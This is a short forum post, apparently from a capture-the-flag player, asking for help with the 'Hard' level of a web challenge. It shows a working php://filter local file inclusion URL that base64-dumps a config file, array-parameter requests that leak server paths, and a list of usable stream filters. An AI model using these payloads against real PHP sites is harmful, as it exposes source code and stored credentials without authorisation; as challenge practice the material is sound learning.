Level11.tasteless.eu/index.php – need help with “Hard”

I've already solved "Easy" - http://level11.tasteless.eu/index.php?file=php://filter/convert.base64-encode/resource=config.easy.inc.php

I was told that the "Hard" version is essentially the same as "Easy", except that the keyword "php" is filtered, so "Easy"'s solution won't work anymore, ie. I can imagine something like `preg_match("/php/i", $file)` is filtering it on "Hard" version.

__errors I managed to trigger__

http://level11.tasteless.eu/index.php?hard=1&file[]=test.txt

Warning: trim() expects parameter 1 to be string, array given in /var/www/chall/level11/index.php on line 32

http://level11.tasteless.eu/index.php?hard=0&file[0]="php://filter/convert.base64-encode/resource=config.easy.inc.php

Warning: preg_match() expects parameter 2 to be string, array given in /var/www/chall/level11/index.php on line 35

...these show the path of the file, as well as functions to bypass

__filter functions that work__

convert.base64-encode, convert.base64-decode, zlib.deflate, bzip2.compress